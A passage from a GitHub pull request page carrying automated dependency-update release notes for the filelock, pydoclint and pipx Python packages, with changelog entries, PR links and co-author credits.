[tox-dev/filelock#624](https://redirect.github.com/tox-dev/filelock/pull/624)
- ✨ feat(api): add on\_acquired post-acquisition hook by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#625](https://redirect.github.com/tox-dev/filelock/pull/625)
- 🔧 build(release): towncrier changelog pipeline, backfill, and docs by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#626](https://redirect.github.com/tox-dev/filelock/pull/626)
- 📝 docs: drop bot entries and link code refs in the changelog by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#638](https://redirect.github.com/tox-dev/filelock/pull/638)
- 🐛 fix(api): validate lifetime values by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#644](https://redirect.github.com/tox-dev/filelock/pull/644)
- 🐛 fix(win32): capture process probe errors by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#645](https://redirect.github.com/tox-dev/filelock/pull/645)
- 🐛 fix(api): reject dropped lock options by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#646](https://redirect.github.com/tox-dev/filelock/pull/646)
- 🐛 fix(api): retain acquisition path identity by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#647](https://redirect.github.com/tox-dev/filelock/pull/647)
- 🐛 fix(api): detach grouped release errors by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#648](https://redirect.github.com/tox-dev/filelock/pull/648)
- 🐛 fix(descriptor): define unavailable behavior by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#650](https://redirect.github.com/tox-dev/filelock/pull/650)
- 🐛 fix(ci): map absolute coverage paths by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#651](https://redirect.github.com/tox-dev/filelock/pull/651)
- 🐛 fix(soft): relinquish fd before close by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#649](https://redirect.github.com/tox-dev/filelock/pull/649)
- 🐛 fix(async): make cancellation atomic by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#652](https://redirect.github.com/tox-dev/filelock/pull/652)
- 🐛 fix(sqlite): isolate forked connections by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#657](https://redirect.github.com/tox-dev/filelock/pull/657)
- 🧪 test(conftest): scope the close mock to one descriptor by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#656](https://redirect.github.com/tox-dev/filelock/pull/656)
- ✨ feat(soft): add strict soft locks and leases by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#658](https://redirect.github.com/tox-dev/filelock/pull/658)
- ✨ feat(strict): replace shared markers with owner claims by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#659](https://redirect.github.com/tox-dev/filelock/pull/659)
- 🐛 fix(soft): detect a reused PID via process start time by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#660](https://redirect.github.com/tox-dev/filelock/pull/660)
- 🔒 fix(soft): fail safe on transient heartbeat errors by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#661](https://redirect.github.com/tox-dev/filelock/pull/661)
- 📝 docs: state the lock trust boundaries once by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#663](https://redirect.github.com/tox-dev/filelock/pull/663)
- 👷 ci(perf): add the performance and NFS matrix by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#664](https://redirect.github.com/tox-dev/filelock/pull/664)
- Replace prettier with mdformat and yamlfmt by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#667](https://redirect.github.com/tox-dev/filelock/pull/667)
- 👷 ci(matrix): add SMB, capability, and matrix docs by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#665](https://redirect.github.com/tox-dev/filelock/pull/665)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.29.7...3.30.0>

</details>

<details>
<summary>jsh9/pydoclint (jsh9/pydoclint)</summary>

###
[`v0.9.1`](https://redirect.github.com/jsh9/pydoclint/blob/HEAD/CHANGELOG.md#091---2026-07-03)

[Compare
Source](https://redirect.github.com/jsh9/pydoclint/compare/0.9.0...0.9.1)

- Fixed
  - Restored numpy docstring default checking with
    `docstring_parser_fork==0.0.16`, which preserves raw parameter and
attribute type declarations while still exposing normalized type/default
    fields
- Changed
- Replaced tox type checking from `mypy` with `ty` and fixed the
surfaced
    typing issues with explicit type narrowing
- Run the `tox -e pydoclint` self-check against the local package
instead of
    the latest published pydoclint release
- Updated Muff tooling to `0.15.20` and added a pre-commit hook to keep
the
    tox Muff pins in sync with the `muff-pre-commit` revision
- Full diff
  - <https://github.com/jsh9/pydoclint/compare/0.9.0...0.9.1>

###
[`v0.9.0`](https://redirect.github.com/jsh9/pydoclint/blob/HEAD/CHANGELOG.md#091---2026-07-03)

[Compare
Source](https://redirect.github.com/jsh9/pydoclint/compare/0.8.7...0.9.0)

- Fixed
  - Restored numpy docstring default checking with
    `docstring_parser_fork==0.0.16`, which preserves raw parameter and
attribute type declarations while still exposing normalized type/default
    fields
- Changed
- Replaced tox type checking from `mypy` with `ty` and fixed the
surfaced
    typing issues with explicit type narrowing
- Run the `tox -e pydoclint` self-check against the local package
instead of
    the latest published pydoclint release
- Updated Muff tooling to `0.15.20` and added a pre-commit hook to keep
the
    tox Muff pins in sync with the `muff-pre-commit` revision
- Full diff
  - <https://github.com/jsh9/pydoclint/compare/0.9.0...0.9.1>

###
[`v0.8.7`](https://redirect.github.com/jsh9/pydoclint/blob/HEAD/CHANGELOG.md#090---2026-06-29)

[Compare
Source](https://redirect.github.com/jsh9/pydoclint/compare/0.8.6...0.8.7)

- Fixed
  - A `DOC404` false positive for single-argument `Generator[YieldType]`
annotations, where pydoclint compared the docstring yield type with the
    whole annotation instead of the generator yield type
  - Return/yield handling for one- and two-argument `Generator[...]`
    annotations so omitted return types default to `None` per PEP-696
- Full diff
  - <https://github.com/jsh9/pydoclint/compare/0.8.7...0.9.0>

</details>

<details>
<summary>pypa/pipx (pipx)</summary>

###
[`v1.16.2`](https://redirect.github.com/pypa/pipx/releases/tag/1.16.2)

[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.16.1...1.16.2)

<!-- Release notes generated using configuration in .github/release.yml
at 1.16.2 -->

#### What's Changed

- 👷 ci: test against Python 3.15 beta by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[#&#8203;1971](https://redirect.github.com/pypa/pipx/pull/1971)

**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.16.1...1.16.2>

###
[`v1.16.1`](https://redirect.github.com/pypa/pipx/releases/tag/1.16.1)

[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.16.0...1.16.1)

<!-- Release notes generated using configuration in .github/release.yml
at 1.16.1 -->

#### What's Changed

- 📝 docs: strip the prompt from copied console snippets by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[#&#8203;1962](https://redirect.github.com/pypa/pipx/pull/1962)
- 🐛 fix: don't crash scanning a foreign binary in the bin dir by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[#&#8203;1970](https://redirect.github.com/pypa/pipx/pull/1970)

**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.16.0...1.16.1>

###
[`v1.16.0`](https://redirect.github.com/pypa/pipx/releases/tag/1.16.0)

[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.15.2...1.16.0)

<!-- Release notes generated using configuration in .github/release.yml
at 1.16.0 -->

##### What's Changed

- 📝 docs: restore the 1.16.0 changelog fragments by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[#&#8203;1961](https://redirect.github.com/pypa/pipx/pull/1961)

**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.15.2...1.16.0>

###
[`v1.15.2`](https://redirect.github.com/pypa/pipx/releases/tag/1.15.2)

[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.15.1...1.15.2)

<!-- Release notes generated using configuration in .github/release.yml
at 1.15.2 -->

**Full Changelog**:
<https://github.com/pypa/pipx/compare/1.15.1...1.15.2>

###
[`v1.15.1`](https://redirect.github.com/pypa/pipx/releases/tag/1.15.1)

[Compare
Source](https://redirect.github.com/pypa/pipx/compare/1.15.0...1.15.1)

<!-- Release notes generated using configuration in .github/release.yml
at 1.15.1 -->

#### What's Changed

- Keep trash cleanup non-fatal for locked files by
[@&#8203;cyphercodes](https://redirect.github.com/cyphercodes) in [#&

> ✂ **Note**
> 
> PR body was truncated to here.

---------

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: ansibuddy <107943535+ansibuddy@users.noreply.github.com>
Co-authored-by: tanwigeetika1618 <tengverified@gmail.com>
Co-authored-by: tanwigeetika1618 <84617407+tanwigeetika1618@users.noreply.github.com>
@gaborbernat
gaborbernat deleted the feat/coverage-pragmas branch October 3, 2026 15:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

enhancement skip news Internal change; exempt from the news fragment check

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant